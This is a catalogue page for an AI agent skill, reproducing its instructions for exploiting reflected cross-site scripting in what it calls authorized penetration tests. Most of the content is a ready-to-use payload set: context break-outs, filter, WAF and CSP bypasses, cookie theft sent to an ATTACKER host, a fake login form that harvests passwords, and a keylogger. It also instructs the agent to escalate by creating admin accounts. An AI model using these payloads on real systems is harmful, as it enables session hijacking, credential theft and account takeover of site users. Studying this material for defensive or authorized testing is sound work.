Reflected XSS

SkillSecurity

Guide reflected XSS exploitation during authorized penetration testing.

Available today. Use it from your connected AI after setup.

No other account needed.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the Reflected XSS skill

What this skill tells your AI

The instructions your AI receives, as published by blacklanternsecurity/red-run in skills/web/xss-reflected/SKILL.md and read by ahel’s review.

You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

Print [xss-reflected] Activated → <target> to the screen on activation.
Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

Skip re-testing targets, parameters, or vulns already confirmed
Leverage existing credentials or access for this technique
Understand what's been tried and failed (check Blocked section)

Your return summary must include:

New targets/hosts discovered (with ports and services)
New credentials or tokens found
Access gained or changed (user, privilege level, method)
Vulnerabilities confirmed (with status and severity)
Pivot paths identified (what leads where)
Blocked items (what failed and why, whether retryable)

Web Interaction

curl for payload testing — use curl to inject XSS payloads with precise control over URL parameters, headers, and encoding
browser_open to navigate to reflected endpoint and verify rendering
browser_evaluate to check if payload executed (e.g., document.querySelector('img#xss-test') to verify DOM changes from payload)
browser_screenshot for evidence of successful XSS execution

Prerequisites

Confirmed reflection point (see web-discovery)
Input appears in the HTTP response body or headers
If input is stored and rendered later, use xss-stored instead
If input only affects the DOM via JavaScript (not in HTTP response), use xss-dom

Step 1: Assess

If not already provided, determine:

Reflection point — URL, parameter, request method
Reflection context — where does the input land in the HTML?
Existing filters — what characters/strings are blocked or encoded?

Skip if context was already provided.

Step 2: Identify Reflection Context

The payload depends entirely on where the input lands. Inject a canary string like xss<>"' and examine where it appears in the response.

Context	Example	Strategy
Between HTML tags	`<div>REFLECTED</div>`	Inject new tags: `<script>`, `<img>`, `<svg>`
Inside an HTML attribute	`<input value="REFLECTED">`	Break out of attribute: `"onmouseover=alert(1)` or `"><script>`
Inside a `href`/`src`	`<a href="REFLECTED">`	Use `javascript:` wrapper
Inside `<script>` block	`var x = "REFLECTED";`	Break out of string: `";alert(1)//` or `'-alert(1)-'`
Inside HTML comment	`<!-- REFLECTED -->`	Close comment: `--><script>alert(1)</script>`
Inside `<style>` / CSS	`color: REFLECTED`	Use `</style><script>alert(1)</script>`

Step 3: Basic Payloads

Try simple payloads first — escalate complexity only if blocked.

Between HTML tags:

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<body onload=alert(document.domain)>

Breaking out of attributes:

"><script>alert(document.domain)</script>
" autofocus onfocus=alert(document.domain) x="
'><img src=x onerror=alert(document.domain)>

Inside JavaScript context:

";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//
</script><script>alert(document.domain)</script>

Inside href/src (javascript: wrapper):

javascript:alert(document.domain)
javascript://%0aalert(document.domain)

Inside hidden inputs:

" accesskey="X" onclick="alert(document.domain)
" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto

Step 4: Filter Bypass

When basic payloads are blocked, use these bypass techniques.

Tag/Keyword Filters

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

<!-- Tag with extra attributes -->
<script x>alert(1)</script y>

<!-- Less common tags -->
<details/open/ontoggle=alert(1)>
<video src=_ onloadstart=alert(1)>
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>

<!-- Nested/broken tags -->
<scr<script>ipt>alert(1)</scr<script>ipt>

Parenthesis Blocked

alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`

Quote Filters

String.fromCharCode(88,83,83)
/XSS/.source

Dot Filter

window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))

Space Filter

<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>

Encoding Bypass

<!-- HTML entity encoding -->
&#97;&#108;&#101;&#114;&#116;(1)

<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')

<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)

Uppercase Output

When the app uppercases your input:

<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>

Step 5: WAF Bypass

Per-WAF techniques when application-level filters pass but a WAF blocks.

Cloudflare:

<svg/onload="`${prompt``}`">
1'"><img/src/onerror=.1|alert``>

Akamai:

<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>

Generic WAF bypass patterns:

<!-- Null bytes / vertical tab -->
<img src=x onerror\x00=alert(1)>
<img src=x onerror\x0b=alert(1)>

<!-- Event handler with / -->
<img src=x onerror/=alert(1)>

<!-- SVG with random attributes -->
<svg/onrandom=random onload=confirm(1)>

Step 6: CSP Bypass

When Content Security Policy blocks inline scripts.

Check CSP first:

# Inspect CSP header
curl -sI https://TARGET | grep -i content-security-policy

Evaluate: paste the CSP into https://csp-evaluator.withgoogle.com

JSONP endpoints (when CSP allows google.com, youtube.com, etc.):

<script src="//google.com/complete/search?client=chrome&jsonp=alert(1);"></script>
<script src="https://www.youtube.com/oembed?callback=alert;"></script>

data: URI (when script-src includes data:):

<script src="data:,alert(1)"></script>

Base tag injection (when script-src 'nonce-...' but base-uri is missing):

<base href="https://attacker.com/">

object/embed (when script-src 'self'):

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Step 7: Demonstrate Impact

A bare alert() is a proof of concept, not impact. Demonstrate real risk:

Cookie theft:

fetch('https://ATTACKER/steal?c='+document.cookie)
new Image().src='https://ATTACKER/steal?c='+document.cookie

Session hijacking via fetch:

<script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>

Phishing (UI redressing):

<script>
history.replaceState(null,null,'../login');
document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>';
</script>

Keylogger:

<img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>

Step 8: Escalate or Pivot

Payload persists across page loads: This is stored XSS — route to xss-stored
Payload only fires via DOM manipulation: Escalate
Need to bypass CSP for exfiltration: Check Deep Reference for advanced CSP bypass
XSS on admin panel: Attempt CSRF to escalate privileges, create admin accounts

Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.

When routing, pass along: reflection point, context, working payload, and CSP policy (if present).

OPSEC Notes

Reflected XSS is read-only server-side — no artifacts on the target
Payloads appear in server access logs (URL parameters, Referer headers)
WAF logs will record blocked attempts
Use console.log() instead of alert() for stored XSS testing to avoid popup fatigue

Troubleshooting

Payload Reflected but Doesn't Execute

Check if CSP blocks inline scripts — inspect response headers
Check if the reflection is inside a sanitized context (e.g., HTML-encoded in attribute)
Try event handlers instead of <script> tags (onerror, onfocus, ontoggle)
Check if the page uses a framework that auto-escapes (React, Angular) — may need framework-specific bypass

AngularJS Context

If the page uses AngularJS (look for ng-app):

{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}

SVG/XML Context

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><script>alert(1)</script></svg>

Markdown Context

[click](javascript:alert(document.domain))
[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

Automated Scanning

# Dalfox — fast XSS scanner
dalfox url "https://TARGET/page?param=test" --silence

# With custom payload file
dalfox url "https://TARGET/page?param=test" --custom-payload payloads.txt

# XSStrike
python3 xsstrike.py -u "https://TARGET/page?param=test"

# From Burp request
dalfox file request.txt

Signals

GitHub stars: 271
Forks: 38
Last commit: Apr 2026

Advanced

Catalog kind: skill
Gateway key: xss-reflected
Source: github.com/blacklanternsecurity/red-run

github.com/blacklanternsecurity/red-run

More in Security

intent-driven-development
Skill · affaan-m gws-shared
Skill · googleworkspace notebooklm
Skill · teng-lin defi-amm-security
Skill · affaan-m fastapi-patterns
Skill · affaan-m hipaa-compliance
Skill · affaan-m